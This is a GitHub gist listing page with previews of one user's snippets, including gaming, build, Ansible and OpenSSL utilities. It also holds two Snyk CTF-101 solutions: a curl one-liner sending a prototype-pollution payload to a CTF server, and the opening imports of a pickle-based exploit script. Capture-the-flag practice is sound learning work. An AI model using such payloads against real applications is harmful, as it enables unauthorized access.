Skip to content

Instantly share code, notes, and snippets.

View pythoninthegrass's full-sized avatar

pythoninthegrass

View GitHub Profile
@pythoninthegrass
pythoninthegrass / known_good_output.md
Last active June 24, 2023 12:42
Playwright TimeoutError traceback
Navigating to listings...
Skipping job #1008290115390 ...
Skipping job #1006634612910 ...
Skipping job #1005925012735 ...
Skipping job #1008505155654 ...
Skipping job #1008470614446 ...
Skipping job #1008705290883 ...
Skipping job #1008494737160 ...
Skipping job #1007900113774 ...
@pythoninthegrass
pythoninthegrass / Diablo II.ahk
Created June 13, 2023 22:03 — forked from fabd/Diablo II.ahk
A script I use to center the game window and play at exactly 2x the original resolution to avoid stretching and blurry image.
; Diablo II LoD
;
; Instructions:
;
; 1) Start the game in windowed mode (eg. "-sndbkg -skiptobnet -w" options in shortcut).
;
; 2) Press Ctrl Alt f , Ctrl Alt h to set game to 1600x1200 centered on the desktop.
;
;
; Ctrl Alt f Toggle active window title bar.
@pythoninthegrass
pythoninthegrass / fp
Last active May 12, 2023 06:08
flatpak shim until they're added to path as expected
#!/usr/bin/env zsh
# SOURCES:
# https://github.com/magical-heyrovsky
# https://github.com/flatpak/flatpak/issues/994#issuecomment-1484158855
# https://apple.stackexchange.com/questions/296477/my-command-line-says-complete13-command-not-found-compdef
# https://unix.stackexchange.com/questions/353076/how-to-indent-an-heredoc-inside-an-heredoc-the-right-way
# * leading tabs: indent here-document (heredoc)
# * spaces: indent code within heredoc

Loading variables from .env files in Ansible

Ansible has various ways of looking up data from outside sources, including plain text password files, CSV files and INI files. But it doesn't seem to have a lookup for .env files, as used in Laravel projects, also available for PHP, Ruby, Node.js, Python and others.

One option is to launch Ansible with the Ruby dotenv command line script... But that requires Ruby, which seems like overkill to me.

So here is a simpler solution that I use. It consists of:

  1. The .env file itself
  2. A small shell script that loads the .env file into environment variables - ansible-playbook.sh
@pythoninthegrass
pythoninthegrass / bootstrap
Created April 4, 2023 07:25
Compile known good Citra build on M1 Mac
#!/usr/bin/env bash
# shellcheck disable=SC2046,SC2155,SC2164
brew install doxygen pkgconfig sdl2 qt5 ffmpeg cmake openssl
brew link --force openssl
pkg-config --modversion openssl
git clone --recursive https://github.com/citra-emu/citra-nightly.git
cd citra-nightly/
git checkout d380980
@pythoninthegrass
pythoninthegrass / solution.py
Created March 31, 2023 04:27
Snyk CTF-101: sauerkraut
#!/usr/bin/env python3
# fmt: off
import asyncio
import atexit
import base64
import pickle
import subprocess
import sys
import requests
@pythoninthegrass
pythoninthegrass / solution.sh
Created March 31, 2023 04:24
Snyk CTF-101: invisible-ink
# invisible-ink
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}' http://invisible-ink.c.ctf-snyk.io/echo
@pythoninthegrass
pythoninthegrass / README.md
Last active February 28, 2023 21:13 — forked from nordineb/readme.MD
multipass + qemu on macOS

multipass + qemu on macOS

Multipass can launch and run virtual machines and configure them with cloud-init like a public cloud

Usage

brew install multipass libvirt
brew services start libvirt
multipass set local.passphrase=<foo>    # `multipass set local.passphrase` avoids stdout creds
multipass authenticate
multipass get local.driver
@pythoninthegrass
pythoninthegrass / openssl_commands.md
Created January 20, 2023 21:13 — forked from Hakky54/openssl_commands.md
Some list of openssl commands for check and verify your keys

OpenSSL 🔐

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl
@pythoninthegrass
pythoninthegrass / bashprofile.py
Last active January 19, 2023 00:36
Profile .bashrc
#!/usr/bin/env python
import argparse
import io
import operator
import re
from contextlib import redirect_stderr
from pathlib import Path
"""